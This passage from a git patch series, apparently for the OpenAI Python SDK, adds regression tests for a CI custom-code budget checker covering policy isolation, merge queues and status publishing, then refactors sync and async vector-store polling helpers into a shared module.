+ subprocess.SubprocessError,
+ ) as exc:
+ result = {
+ "checks": {name: outcome("failure", str(exc)) for name in ("isolation", "budget")}
+ }
+ patch = b""
+ write_result(args.out, result, patch)
+ if args.command == "github" and "GITHUB_OUTPUT" in os.environ:
+ with Path(os.environ["GITHUB_OUTPUT"]).open("a") as output:
+ for name in ("isolation", "budget"):
+ output.write(f"{name}={result['checks'][name]['state']}\n")
+ output.write(f"base_sha={result.get('base_sha', '')}\n")
+ output.write(f"head_sha={result.get('head_sha', '')}\n")
+ return 0 if all(c["state"] == "success" for c in result["checks"].values()) else 1
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/scripts/castiron/test_custom_code_budget.py b/scripts/castiron/test_custom_code_budget.py
new file mode 100644
index 0000000000..a2d01b8c26
--- /dev/null
+++ b/scripts/castiron/test_custom_code_budget.py
@@ -0,0 +1,639 @@
+# Regression tests for the custom-code budget.
+from __future__ import annotations
+
+import json
+import shutil
+import subprocess
+import sys
+import tempfile
+import unittest
+from pathlib import Path
+from typing import Any, cast
+from unittest import mock
+
+import custom_code_budget as budget
+import test_custom_code_report as fixtures
+
+
+def source_run(head: str, event: str = "pull_request") -> dict[str, Any]:
+ return {
+ "id": 123,
+ "event": event,
+ "head_sha": head,
+ "head_branch": "gh-readonly-queue/main/pr-7-example" if event == "merge_group" else "sdk",
+ "repository": {"full_name": "openai/example"},
+ "path": ".github/workflows/castiron-custom-code.yml",
+ "status": "completed",
+ "run_attempt": 1,
+ "pull_requests": [{"number": 3}] if event == "pull_request" else [],
+ "conclusion": "failure", # The candidate's result is deliberately ignored.
+ }
+
+
+class BudgetTests(unittest.TestCase):
+ def setUp(self) -> None: # pyright: ignore[reportImplicitOverride]
+ # Reuse the reporter's real Git/checkpoint fixture without inheriting its tests.
+ self.fixture = fixtures.CustomCodeTests()
+ self.fixture.setUp()
+ self.addCleanup(self.fixture.doCleanups)
+ self.repo = self.fixture.repo
+ self.generated, _ = self.fixture.baseline()
+ self.policy(10)
+ self.base = self.fixture.commit("human-owned budget")
+
+ def policy(self, limit: int) -> None:
+ self.fixture.write(
+ budget.POLICY, json.dumps({"schema_version": 1, "max_custom_patch_lines": limit}) + "\n"
+ )
+
+ def evaluate(self, head: str, base: str | None = None, **kwargs: Any) -> dict[str, Any]:
+ return budget.evaluate(self.repo, base or self.base, head, public=False, **kwargs)[0]
+
+ def test_additions_and_deletions_do_not_cancel(self) -> None:
+ self.fixture.write("generated.py", "replacement\n")
+ result = self.evaluate(self.fixture.commit())
+ self.assertEqual((result["additions"], result["deletions"], result["total"]), (1, 1, 2))
+ self.assertEqual(result["checks"]["budget"]["state"], "success")
+
+ def test_below_equal_and_above_limit(self) -> None:
+ for additions in (9, 10, 11):
+ with self.subTest(additions=additions):
+ self.fixture.write("generated.py", "generated\n" + "custom\n" * additions)
+ result = self.evaluate(self.fixture.commit())
+ self.assertEqual(result["total"], additions)
+ self.assertEqual(
+ result["checks"]["budget"]["state"], "failure" if additions > 10 else "success"
+ )
+
+ def test_whole_generated_file_deletion_is_counted(self) -> None:
+ (self.repo / "generated.py").unlink()
+ result = self.evaluate(self.fixture.commit())
+ self.assertEqual((result["additions"], result["deletions"]), (0, 1))
+ self.assertEqual(result["mixed_files"], 1)
+
+ def test_restoring_generated_content_removes_customization(self) -> None:
+ self.fixture.write("generated.py", "generated\ncustom\n")
+ customized = self.fixture.commit()
+ self.fixture.write("generated.py", "generated\n")
+ result = self.evaluate(self.fixture.commit(), base=customized)
+ self.assertEqual(result["total"], 0)
+ self.assertEqual(result["mixed_files"], 0)
+
+ def test_handwritten_only_files_keep_existing_report_scope(self) -> None:
+ self.fixture.write("handwritten.py", "custom\n" * 100)
+ self.assertEqual(self.evaluate(self.fixture.commit())["total"], 0)
+
+ def test_increase_is_isolated_but_does_not_apply_to_itself(self) -> None:
+ self.policy(20)
+ result = self.evaluate(self.fixture.commit())
+ self.assertEqual(result["checks"]["isolation"]["state"], "success")
+ self.assertEqual(result["limit"], 10)
+ self.assertEqual(result["checked_limit"], 10)
+
+ def test_entire_pr_must_be_budget_only_not_just_latest_commit(self) -> None:
+ self.fixture.write("generated.py", "generated\n" + "custom\n" * 11)
+ self.fixture.commit("SDK change first")
+ self.policy(100)
+ result = self.evaluate(self.fixture.commit("budget-only last commit"))
+ self.assertEqual(result["checks"]["isolation"]["state"], "failure")
+ self.assertIn("separate, budget-only PR", result["checks"]["isolation"]["description"])
+ self.assertEqual(result["checks"]["budget"]["state"], "failure")
+ self.assertEqual(result["limit"], 10)
+
+ def test_new_base_budget_is_used_for_stale_pr_branch(self) -> None:
+ self.fixture.git("checkout", "-q", "-b", "sdk", self.base)
+ self.fixture.write("generated.py", "generated\n" + "custom\n" * 11)
+ head = self.fixture.commit()
+ self.fixture.git("checkout", "-q", "main")
+ self.policy(20)
+ new_base = self.fixture.commit("separate approved increase")
+ result = self.evaluate(head, base=new_base)
+ self.assertEqual(result["limit"], 20)
+ self.assertEqual(result["checks"]["isolation"]["state"], "success")
+ self.assertEqual(result["checks"]["budget"]["state"], "success")
+
+ def test_decrease_must_fit_current_usage(self) -> None:
+ self.fixture.write("generated.py", "generated\ncustom\ncustom\n")
+ base = self.fixture.commit()
+ self.policy(1)
+ result = self.evaluate(self.fixture.commit(), base=base)
+ self.assertEqual(result["checks"]["isolation"]["state"], "success")
+ self.assertEqual(result["checks"]["budget"]["state"], "failure")
+ self.assertEqual(result["checked_limit"], 1)
+
+ def test_missing_base_policy_fails_closed(self) -> None:
+ (self.repo / budget.POLICY).unlink()
+ base = self.fixture.commit()
+ self.policy(100)
+ result = self.evaluate(self.fixture.commit(), base=base)
+ self.assertTrue(all(c["state"] == "failure" for c in result["checks"].values()))
+
+ def test_policy_deletion_rename_symlink_and_mode_change_fail(self) -> None:
+ for change in ("delete", "rename", "symlink", "executable"):
+ with self.subTest(change=change):
+ self.fixture.git("checkout", "--detach", "-q", self.base)
+ path = self.repo / budget.POLICY
+ if change == "delete":
+ path.unlink()
+ elif change == "rename":
+ path.rename(self.repo / "renamed.json")
+ elif change == "symlink":
+ path.unlink()
+ path.symlink_to("generated.py")
+ else:
+ path.chmod(0o755)
+ result = self.evaluate(self.fixture.commit())
+ self.assertEqual(result["checks"]["isolation"]["state"], "failure")
+
+ def test_invalid_policy_values_fail(self) -> None:
+ invalid = [
+ "[]",
+ "{}",
+ "not json",
+ '{"schema_version":1,"max_custom_patch_lines":true}',
+ '{"schema_version":true,"max_custom_patch_lines":10}',
+ '{"schema_version":2,"max_custom_patch_lines":10}',
+ '{"schema_version":1,"max_custom_patch_lines":-1}',
+ '{"schema_version":1,"max_custom_patch_lines":10.5}',
+ '{"schema_version":1,"max_custom_patch_lines":null}',
+ '{"schema_version":1,"max_custom_patch_lines":10,"mode":"report-only"}',
+ '{"schema_version":1,"max_custom_patch_lines":10,"max_custom_patch_lines":999}',
+ " " * 4097,
+ ]
+ for contents in invalid:
+ with self.subTest(contents=contents[:100]):
+ self.fixture.write(budget.POLICY, contents)
+ result = self.evaluate(self.fixture.commit())
+ self.assertEqual(result["checks"]["isolation"]["state"], "failure")
+
+ def test_bad_snapshot_and_binary_change_fail_budget(self) -> None:
+ self.fixture.write("generated.py", "binary\0content")
+ result = self.evaluate(self.fixture.commit())
+ self.assertIn("non-text", result["checks"]["budget"]["description"])
+ self.fixture.write("generated.py", "generated\n")
+ path = self.repo / ".castiron.stats.yml"
+ path.write_text(
+ path.read_text().replace(
+ budget.report.hash_codegen_commit(self.repo, self.generated), "f" * 64
+ )
+ )
+ result = self.evaluate(self.fixture.commit())
+ self.assertIn("codegen_hash mismatch", result["checks"]["budget"]["description"])
+
+ def test_budget_uses_existing_reporter_with_strict_verification(self) -> None:
+ with mock.patch.object(
+ budget.report, "build_report", wraps=budget.report.build_report
+ ) as measured:
+ self.evaluate(self.base)
+ self.assertEqual(
+ measured.call_args.kwargs, {"public": False, "fetch": False, "require_head_hash": True}
+ )
+
+ def test_queue_isolates_prs_but_uses_main_budget_for_combined_tree(self) -> None:
+ self.fixture.git("checkout", "-q", "-b", "policy", self.base)
+ self.policy(100)
+ policy_head = self.fixture.commit()
+ self.fixture.git("checkout", "-q", "-b", "sdk", self.base)
+ self.fixture.write("generated.py", "generated\n" + "custom\n" * 11)
+ sdk_head = self.fixture.commit()
+ self.fixture.git("checkout", "-q", "-b", "queue", self.base)
+ self.fixture.git("merge", "--no-ff", "-m", "queue policy", policy_head)
+ self.fixture.git("merge", "--no-ff", "-m", "queue SDK", sdk_head)
+ result = self.evaluate(
+ self.fixture.git("rev-parse", "HEAD"), pull_heads=[policy_head, sdk_head]
+ )
+ self.assertEqual(result["checks"]["isolation"]["state"], "success")
+ self.assertEqual(result["checks"]["budget"]["state"], "failure")
+ self.assertEqual(result["limit"], 10)
+
+ def test_queue_without_verified_members_fails(self) -> None:
+ self.assertEqual(
+ self.evaluate(self.base, pull_heads=[])["checks"]["isolation"]["state"], "failure"
+ )
+
+ def test_queue_membership_uses_synthetic_commit_not_original_pr_ancestry(self) -> None:
+ self.fixture.git("checkout", "-q", "-b", "sdk", self.base)
+ self.fixture.write("generated.py", "generated\ncustom\n")
+ pr_head = self.fixture.commit()
+ self.fixture.git("checkout", "-q", "-b", "queue", self.base)
+ self.fixture.git("merge", "--squash", "sdk")
+ queue_head = self.fixture.commit("synthetic queue commit")
+ self.assertNotEqual(self.fixture.git("merge-base", pr_head, queue_head), pr_head)
+ event = {
+ "repository": {"full_name": "openai/example"},
+ "workflow_run": source_run(queue_head, "merge_group"),
+ }
+ original_git = budget.report.git
+
+ def local_fetch(repo: Path, *args: str) -> bytes:
+ if args[0] == "fetch":
+ args = tuple(str(self.repo) if arg == "origin" else arg for arg in args)
+ return cast(bytes, original_git(repo, *args))
+
+ with (
+ tempfile.TemporaryDirectory() as temp,
+ mock.patch.object(
+ budget.report,
+ "api",
+ side_effect=[
+ {"default_branch": "main", "private": False},
+ {"object": {"sha": self.base}},
+ source_run(queue_head, "merge_group"),
+ [{"type": "merge_queue"}],
+ ],
+ ),
+ mock.patch.object(budget, "queued_entries", return_value=[(pr_head, queue_head)]),
+ mock.patch.object(
+ budget.report,
+ "git",
+ side_effect=local_fetch,
+ ),
+ mock.patch.object(budget, "evaluate", return_value=({}, b"")) as evaluate,
+ ):
+ repo = Path(temp) / "queue.git"
+ budget.github_evaluate(repo, "openai/example", event, self.base)
+ evaluate.assert_called_once_with(
+ repo,
+ self.base,
+ queue_head,
+ public=True,
+ fetch=True,
+ pull_heads=[pr_head],
+ measurement=None,
+ )
+
+ def test_cli_executes_trusted_reporter_not_inspected_repo(self) -> None:
+ self.fixture.write(
+ "scripts/castiron/custom_code_report.py", 'raise RuntimeError("PR CODE EXECUTED")\n'
+ )
+ self.fixture.write("sitecustomize.py", 'raise RuntimeError("PR IMPORTED")\n')
+ head = self.fixture.commit()
+ out = self.repo / "result"
+ command = [
+ sys.executable,
+ "-I",
+ str(Path(budget.__file__).resolve()),
+ "check",
+ "--repo",
+ str(self.repo),
+ "--base",
+ self.base,
+ "--head",
+ head,
+ "--out",
+ str(out),
+ ]
+ completed = subprocess.run(command, cwd=self.repo, capture_output=True, text=True)
+ self.assertEqual(completed.returncode, 0, completed.stderr + completed.stdout)
+ self.assertEqual(json.loads((out / "budget.json").read_text())["total"], 0)
+
+ def test_summary_has_counts_revisions_and_no_longer_generated(self) -> None:
+ self.fixture.write("generated.py", "replacement\n")
+ result = self.evaluate(self.fixture.commit())
+ out = self.repo / "report-output"
+ budget.write_result(out, result)
+ summary = (out / "summary.md").read_text()
+ self.assertIn("+1 / -1 = 2", summary)
+ self.assertIn(self.generated, summary)
+ self.assertIn(self.base, summary)
+ self.assertIn("human approving review", summary)
+
+
+@unittest.skipUnless(shutil.which("node"), "Node is needed to execute the status-publisher fixture")
+class StatusPublisherTests(unittest.TestCase):
+ def publish(
+ self,
+ *,
+ event_name: str = "pull_request",
+ head_changed: bool = False,
+ base_changed: bool = False,
+ no_result: bool = False,
+ failed_budget: bool = False,
+ run_overrides: dict[str, Any] | None = None,
+ ) -> list[dict[str, Any]]:
+ path = (
+ Path(__file__).resolve().parents[2]
+ / ".github/workflows/castiron-custom-code-comment.yml"
+ )
+ section = path.read_text().split("\n budget-status:\n", 1)[1].split("\n comment:\n", 1)[0]
+ publisher = section.split(" script: |\n", 1)[1]
+ script = "\n".join(line[12:] for line in publisher.splitlines())
+ base, head = "a" * 40, "b" * 40
+ payload = {
+ "script": script,
+ "context": {
+ "eventName": "workflow_run",
+ "repo": {"owner": "openai", "repo": "example"},
+ "serverUrl": "https://github.com",
+ "runId": 123,
+ "payload": {
+ "workflow_run": source_run(head, event_name),
+ },
+ },
+ "run": {**source_run(head, event_name), **(run_overrides or {})},
+ "current": {
+ "state": "open",
+ "head": {"sha": "c" * 40 if head_changed else head},
+ "base": {
+ "sha": "c" * 40 if base_changed else base,
+ "ref": "main",
+ "repo": {"full_name": "openai/example"},
+ },
+ },
+ "env": {
+ "BASE_SHA": "" if no_result else base,
+ "HEAD_SHA": "" if no_result else head,
+ "ISOLATION_RESULT": "success",
+ "BUDGET_RESULT": "failure" if failed_budget else "success",
+ },
+ }
+ harness = """
+ const fs = require('node:fs');
+ const data = JSON.parse(fs.readFileSync(0, 'utf8'));
+ const published = [];
+ const github = {rest: {
+ pulls: {get: async () => ({data: data.current})},
+ actions: {getWorkflowRun: async () => ({data: data.run})},
+ git: {getRef: async () => ({data: {object: {sha: data.current.base.sha}}})},
+ repos: {createCommitStatus: async value => published.push(value)},
+ }};
+ const AsyncFunction = Object.getPrototypeOf(async function(){}).constructor;
+ new AsyncFunction('github','context','process', data.script)(github, data.context, {env:data.env})
+ .then(() => process.stdout.write(JSON.stringify(published)))
+ .catch(error => { console.error(error); process.exitCode = 1; });
+ """
+ output = subprocess.run(
+ ["node", "-e", harness],
+ input=json.dumps(payload),
+ text=True,
+ capture_output=True,
+ check=True,
+ )
+ return cast(list[dict[str, Any]], json.loads(output.stdout))
+
+ def test_statuses_attach_to_candidate_not_main(self) -> None:
+ for event in ("pull_request", "merge_group"):
+ with self.subTest(event=event):
+ results = self.publish(event_name=event)
+ self.assertEqual(len(results), 2)
+ self.assertTrue(
+ all(r["sha"] == "b" * 40 and r["state"] == "success" for r in results)
+ )
+
+ def test_stale_pr_head_is_not_published(self) -> None:
+ self.assertEqual(self.publish(head_changed=True), [])
+
+ def test_stale_base_and_missing_evaluation_cannot_publish_success(self) -> None:
+ for event in ("pull_request", "merge_group"):
+ for base_changed, no_result in ((True, False), (False, True)):
+ results = self.publish(
+ event_name=event, base_changed=base_changed, no_result=no_result
+ )
+ self.assertEqual(len(results), 2)
+ self.assertTrue(all(r["state"] == "failure" for r in results))
+
+ def test_superseded_or_wrong_source_run_cannot_publish(self) -> None:
+ for overrides in (
+ {"run_attempt": 2},
+ {"head_sha": "c" * 40},
+ {"event": "push"},
+ {"path": "other.yml"},
+ ):
+ with self.subTest(overrides=overrides):
+ self.assertEqual(self.publish(run_overrides=overrides), [])
+
+ def test_independent_check_failures_are_preserved(self) -> None:
+ results = self.publish(failed_budget=True)
+ self.assertEqual([r["state"] for r in results], ["success", "failure"])
+
+
+class GitHubBudgetTests(unittest.TestCase):
+ def test_merge_queue_rule_is_required_before_passing(self) -> None:
+ base, head = "a" * 40, "b" * 40
+ event = {
+ "repository": {"full_name": "openai/example"},
+ "workflow_run": source_run(head, "merge_group"),
+ }
+ with (
+ tempfile.TemporaryDirectory() as temp,
+ mock.patch.object(
+ budget.report,
+ "api",
+ side_effect=[
+ {"default_branch": "main"},
+ {"object": {"sha": base}},
+ source_run(head, "merge_group"),
+ [{"type": "required_status_checks"}],
+ ],
+ ),
+ ):
+ repo = Path(temp) / "objects.git"
+ with self.assertRaisesRegex(ValueError, "must require a merge queue"):
+ budget.github_evaluate(repo, "openai/example", event, base)
+ self.assertFalse(repo.exists())
+
+ def test_wrong_or_superseded_source_runs_fail_before_fetching(self) -> None:
+ base, head = "a" * 40, "b" * 40
+ event = {"repository": {"full_name": "openai/example"}, "workflow_run": source_run(head)}
+ for overrides in (
+ {"run_attempt": 2},
+ {"status": "in_progress"},
+ {"path": "other.yml"},
+ {"head_sha": "c" * 40},
+ {"repository": {"full_name": "wrong/repo"}},
+ ):
+ with (
+ self.subTest(overrides=overrides),
+ tempfile.TemporaryDirectory() as temp,
+ mock.patch.object(
+ budget.report,
+ "api",
+ side_effect=[
+ {"default_branch": "main"},
+ {"object": {"sha": base}},
+ {**source_run(head), **overrides},
+ ],
+ ),
+ ):
+ repo = Path(temp) / "objects.git"
+ with self.assertRaisesRegex(ValueError, "source workflow run"):
+ budget.github_evaluate(repo, "openai/example", event, base)
+ self.assertFalse(repo.exists())
+
+ def test_reuses_only_matching_main_job_report(self) -> None:
+ base, head = "a" * 40, "b" * 40
+ event = {"repository": {"full_name": "openai/example"}, "workflow_run": source_run(head)}
+ pull = {
+ "state": "open",
+ "head": {"sha": head},
+ "base": {
+ "sha": base,
+ "ref": "main",
+ "repo": {"full_name": "openai/example"},
+ },
+ }
+ for stale in (False, True):
+ with self.subTest(stale=stale), tempfile.TemporaryDirectory() as temp:
+ trusted = Path(temp)
+ measured = {"target_base_sha": "c" * 40 if stale else base, "head_sha": head}
+ (trusted / "report.json").write_text(json.dumps(measured))
+ (trusted / "custom-code.patch").write_bytes(b"verified patch")
+ repo = trusted / "objects.git"
+ repo.mkdir()
+ with (
+ mock.patch.object(
+ budget.report,
+ "api",
+ side_effect=[
+ {"default_branch": "main", "private": False},
+ {"object": {"sha": base}},
+ source_run(head),
+ pull,
+ [{"type": "merge_queue"}],
+ ],
+ ),
+ mock.patch.object(budget.report, "git", return_value=b"true\n") as git,
+ mock.patch.object(budget, "evaluate", return_value=({}, b"")) as evaluate,
+ ):
+ if stale:
+ with self.assertRaisesRegex(ValueError, "trusted report is stale"):
+ budget.github_evaluate(repo, "openai/example", event, base, trusted)
+ evaluate.assert_not_called()
+ else:
+ budget.github_evaluate(repo, "openai/example", event, base, trusted)
+ evaluate.assert_called_once_with(
+ repo,
+ base,
+ head,
+ public=True,
+ fetch=True,
+ pull_heads=None,
+ measurement=(measured, b"verified patch"),
+ )
+ git.assert_called_once_with(repo, "rev-parse", "--is-bare-repository")
+
+ def test_queue_pagination(self) -> None:
+ pages = [
+ {
+ "nodes": [
+ {"pullRequest": {"headRefOid": "a" * 40}, "headCommit": {"oid": "c" * 40}}
+ ],
+ "pageInfo": {"hasNextPage": True, "endCursor": "cursor"},
+ },
+ {
+ "nodes": [
+ {"pullRequest": {"headRefOid": "b" * 40}, "headCommit": {"oid": "d" * 40}}
+ ],
+ "pageInfo": {"hasNextPage": False, "endCursor": None},
+ },
+ ]
+ with mock.patch.object(
+ budget.report,
+ "api",
+ side_effect=[{"data": {"repository": {"mergeQueue": {"entries": p}}}} for p in pages],
+ ) as api:
+ self.assertEqual(
+ budget.queued_entries("openai/example", "main"),
+ [("a" * 40, "c" * 40), ("b" * 40, "d" * 40)],
+ )
+ self.assertEqual(api.call_args_list[1].args[2]["variables"]["cursor"], "cursor")
+
+ def test_pull_context_refuses_stale_checkout_before_fetching(self) -> None:
+ with (
+ tempfile.TemporaryDirectory() as temp,
+ mock.patch.object(
+ budget.report,
+ "api",
+ side_effect=[{"default_branch": "main"}, {"object": {"sha": "a" * 40}}],
+ ),
+ ):
+ repo = Path(temp) / "objects.git"
+ with self.assertRaisesRegex(ValueError, "trusted checkout is stale"):
+ budget.github_evaluate(
+ repo,
+ "openai/example",
+ {"repository": {"full_name": "openai/example"}},
+ "b" * 40,
+ )
+ self.assertFalse(repo.exists())
+
+ def test_github_uses_fresh_bare_data_repo_and_checks_current_head(self) -> None:
+ base, head = "a" * 40, "b" * 40
+ event = {
+ "repository": {"full_name": "openai/example"},
+ "workflow_run": source_run(head),
+ }
+ pull = {
+ "state": "open",
+ "head": {"sha": head},
+ "base": {"sha": base, "ref": "main", "repo": {"full_name": "openai/example"}},
+ }
+ responses = [
+ {"default_branch": "main", "private": False},
+ {"object": {"sha": base}},
+ source_run(head),
+ pull,
+ [{"type": "merge_queue"}],
+ ]
+ with (
+ tempfile.TemporaryDirectory() as temp,
+ mock.patch.object(budget.report, "api", side_effect=responses),
+ mock.patch.object(budget.report, "git") as git,
+ mock.patch.object(budget, "evaluate", return_value=({}, b"")) as evaluate,
+ ):
+ repo = Path(temp) / "objects.git"
+ budget.github_evaluate(repo, "openai/example", event, base)
+ self.assertTrue((repo / "HEAD").exists())
+ self.assertFalse((repo / "src").exists())
+ self.assertIn(
+ mock.call(repo, "fetch", "--quiet", "--no-tags", "origin", base, head),
+ git.call_args_list,
+ )
+ evaluate.assert_called_once_with(
+ repo, base, head, public=True, fetch=True, pull_heads=None, measurement=None
+ )
+
+ def test_stale_pull_and_wrong_target_fail_before_objects_created(self) -> None:
+ for kind in ("head", "base", "repository", "branch", "closed"):
+ with self.subTest(kind=kind), tempfile.TemporaryDirectory() as temp:
+ base, head = "a" * 40, "b" * 40
+ event = {
+ "repository": {"full_name": "openai/example"},
+ "workflow_run": source_run(head),
+ }
+ pull: dict[str, Any] = {
+ "state": "open",
+ "head": {"sha": head},
+ "base": {"sha": base, "ref": "main", "repo": {"full_name": "openai/example"}},
+ }
+ if kind == "head":
+ pull["head"]["sha"] = "c" * 40
+ elif kind == "base":
+ pull["base"]["sha"] = "c" * 40
+ elif kind == "repository":
+ pull["base"]["repo"]["full_name"] = "wrong/repo"
+ elif kind == "branch":
+ pull["base"]["ref"] = "other"
+ else:
+ pull["state"] = "closed"
+ with mock.patch.object(
+ budget.report,
+ "api",
+ side_effect=[
+ {"default_branch": "main"},
+ {"object": {"sha": base}},
+ source_run(head),
+ pull,
+ ],
+ ):
+ with self.assertRaisesRegex(ValueError, "exactly one current PR"):
+ budget.github_evaluate(
+ Path(temp) / "objects.git",
+ "openai/example",
+ event,
+ base,
+ )
+
+
+if __name__ == "__main__":
+ unittest.main()
From a002ef3c7d2276fb63deeea58d920d87da61b1e5 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 21 Aug 2026 15:26:46 +0000
Subject: [PATCH 067/341] refactor(api): isolate vector-store polling helpers
(#3713)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Move the existing sync/async vector-store file and file-batch polling
bodies into SDK-owned `lib/_vector_stores.py`, sharing their identical
`openai-poll-after-ms` lookup, integer conversion, and one-second
fallback. The public `poll` methods remain thin delegates with the same
signatures, defaults, docstrings, and return types.
Request headers, response parsing, interval handling, terminal
conditions, return identity, and error/cancellation propagation are
preserved. Upload orchestration, create-and-poll methods, other
requests, and response wrappers are untouched. This adds no generic
polling framework, timeout behavior, schema/compiler changes, or
generation-metadata changes.
Review pointers:
- Original public polling bodies:
[Files](https://github.com/openai/openai-python/blob/bedb9a7b8839e193107e88b92f7cc166f08ac83d/src/openai/resources/vector_stores/files.py#L360)
and
[FileBatches](https://github.com/openai/openai-python/blob/bedb9a7b8839e193107e88b92f7cc166f08ac83d/src/openai/resources/vector_stores/file_batches.py#L331),
with the corresponding async methods in the same files.
- [SDK-owned
helper](https://github.com/openai/openai-python/blob/25e95b31c1402b3a927cedb9fff5d3d7a785bbeb/src/openai/lib/_vector_stores.py#L16):
the four bodies only rename their receiver and replace the repeated
interval block with the shared lookup. Source/AST comparison against the
base verifies those edits and the unchanged remainder of both resources.
- [Focused
tests](https://github.com/openai/openai-python/blob/25e95b31c1402b3a927cedb9fff5d3d7a785bbeb/tests/lib/test_vector_store_polling.py#L47):
106 lines / 22 cases covering the four public entry points, terminal
results, default/server/explicit intervals and headers, retrieval
errors, and async cancellation. Existing API and helper-signature tests
are unchanged.
## Additional context & links
Validation:
- Commands: `.venv/bin/python -m pytest
tests/lib/test_vector_store_polling.py -q -n 0` and the same command
with `.venv-pydantic-v1/bin/python` passed all **22 cases against the
original implementation and again after extraction**.
- Commands: `TEST_API_BASE_URL=http://127.0.0.1:4142 .venv/bin/python -m
pytest tests/api_resources/vector_stores
tests/lib/test_vector_store_files.py
tests/lib/test_vector_store_file_batches.py
tests/lib/test_vector_store_polling.py -q -n 0` and the same command
with `.venv-pydantic-v1/bin/python` passed **248 tests in each Pydantic
mode**.
- Commands: `./scripts/format` and `./scripts/lint` passed, including
Ruff, Pyright, mypy, and import checks. Unrelated reporter-formatting
edits were excluded.
- Command: `./scripts/build` passed. Both distributions include the
helper, and a fresh import from the built wheel loads the helper and all
four resource classes.
The verified custom-code report keeps **36 mixed files**, with only the
two vector-store resource customizations changed:
- `files.py`: **+222/-4 to +179/-1**.
- `file_batches.py`: **+275/-4 to +242/-3**.
All other 34 customizations, generation metadata, API reference,
dependencies, and workflows are unchanged. Reproduction command:
```sh
python3 scripts/castiron/custom_code_report.py report \
--base bedb9a7b8839e193107e88b92f7cc166f08ac83d \
--head 25e95b31c1402b3a927cedb9fff5d3d7a785bbeb \
--fetch --require-head-hash --public \
--out /tmp/castiron-vector-polling
```
---
src/openai/lib/_vector_stores.py | 149 ++++++++++++++++++
.../resources/vector_stores/file_batches.py | 66 ++------
src/openai/resources/vector_stores/files.py | 78 +++------
tests/lib/test_vector_store_polling.py | 106 +++++++++++++
4 files changed, 291 insertions(+), 108 deletions(-)
create mode 100644 src/openai/lib/_vector_stores.py
create mode 100644 tests/lib/test_vector_store_polling.py
diff --git a/src/openai/lib/_vector_stores.py b/src/openai/lib/_vector_stores.py
new file mode 100644
index 0000000000..7357a4908e
--- /dev/null
+++ b/src/openai/lib/_vector_stores.py
@@ -0,0 +1,149 @@
+from __future__ import annotations
+
+from typing import TYPE_CHECKING, Mapping
+from typing_extensions import assert_never
+
+from .._types import Omit
+from .._utils import is_given
+from ..types.vector_stores.vector_store_file import VectorStoreFile
+from ..types.vector_stores.vector_store_file_batch import VectorStoreFileBatch
+
+if TYPE_CHECKING:
+ from ..resources.vector_stores.files import Files, AsyncFiles
+ from ..resources.vector_stores.file_batches import FileBatches, AsyncFileBatches
+
+
+def _get_poll_interval_ms(headers: Mapping[str, str]) -> int:
+ """Use the server hint or the existing one-second default."""
+ from_header = headers.get("openai-poll-after-ms")
+ if from_header is not None:
+ return int(from_header)
+ return 1000
+
+
+def poll_vector_store_file(
+ resource: Files,
+ file_id: str,
+ *,
+ vector_store_id: str,
+ poll_interval_ms: int | Omit,
+) -> VectorStoreFile:
+ """Poll a vector-store file using the caller's resource hooks."""
+ headers: dict[str, str] = {"X-Stainless-Poll-Helper": "true"}
+ if is_given(poll_interval_ms):
+ headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
+
+ while True:
+ response = resource.with_raw_response.retrieve(
+ file_id,
+ vector_store_id=vector_store_id,
+ extra_headers=headers,
+ )
+
+ file = response.parse()
+ if file.status == "in_progress":
+ if not is_given(poll_interval_ms):
+ poll_interval_ms = _get_poll_interval_ms(response.headers)
+
+ resource._sleep(poll_interval_ms / 1000)
+ elif file.status == "cancelled" or file.status == "completed" or file.status == "failed":
+ return file
+ else:
+ if TYPE_CHECKING: # type: ignore[unreachable]
+ assert_never(file.status)
+ else:
+ return file
+
+
+async def async_poll_vector_store_file(
+ resource: AsyncFiles,
+ file_id: str,
+ *,
+ vector_store_id: str,
+ poll_interval_ms: int | Omit,
+) -> VectorStoreFile:
+ """Poll a vector-store file using the caller's async resource hooks."""
+ headers: dict[str, str] = {"X-Stainless-Poll-Helper": "true"}
+ if is_given(poll_interval_ms):
+ headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
+
+ while True:
+ response = await resource.with_raw_response.retrieve(
+ file_id,
+ vector_store_id=vector_store_id,
+ extra_headers=headers,
+ )
+
+ file = response.parse()
+ if file.status == "in_progress":
+ if not is_given(poll_interval_ms):
+ poll_interval_ms = _get_poll_interval_ms(response.headers)
+
+ await resource._sleep(poll_interval_ms / 1000)
+ elif file.status == "cancelled" or file.status == "completed" or file.status == "failed":
+ return file
+ else:
+ if TYPE_CHECKING: # type: ignore[unreachable]
+ assert_never(file.status)
+ else:
+ return file
+
+
+def poll_vector_store_file_batch(
+ resource: FileBatches,
+ batch_id: str,
+ *,
+ vector_store_id: str,
+ poll_interval_ms: int | Omit,
+) -> VectorStoreFileBatch:
+ """Poll a vector-store batch using the caller's resource hooks."""
+ headers: dict[str, str] = {"X-Stainless-Poll-Helper": "true"}
+ if is_given(poll_interval_ms):
+ headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
+
+ while True:
+ response = resource.with_raw_response.retrieve(
+ batch_id,
+ vector_store_id=vector_store_id,
+ extra_headers=headers,
+ )
+
+ batch = response.parse()
+ if batch.file_counts.in_progress > 0:
+ if not is_given(poll_interval_ms):
+ poll_interval_ms = _get_poll_interval_ms(response.headers)
+
+ resource._sleep(poll_interval_ms / 1000)
+ continue
+
+ return batch
+
+
+async def async_poll_vector_store_file_batch(
+ resource: AsyncFileBatches,
+ batch_id: str,
+ *,
+ vector_store_id: str,
+ poll_interval_ms: int | Omit,
+) -> VectorStoreFileBatch:
+ """Poll a vector-store batch using the caller's async resource hooks."""
+ headers: dict[str, str] = {"X-Stainless-Poll-Helper": "true"}
+ if is_given(poll_interval_ms):
+ headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
+
+ while True:
+ response = await resource.with_raw_response.retrieve(
+ batch_id,
+ vector_store_id=vector_store_id,
+ extra_headers=headers,
+ )
+
+ batch = response.parse()
+ if batch.file_counts.in_progress > 0:
+ if not is_given(poll_interval_ms):
+ poll_interval_ms = _get_poll_interval_ms(response.headers)
+
+ await resource._sleep(poll_interval_ms / 1000)
+ continue
+
+ return batch
diff --git a/src/openai/resources/vector_stores/file_batches.py b/src/openai/resources/vector_stores/file_batches.py
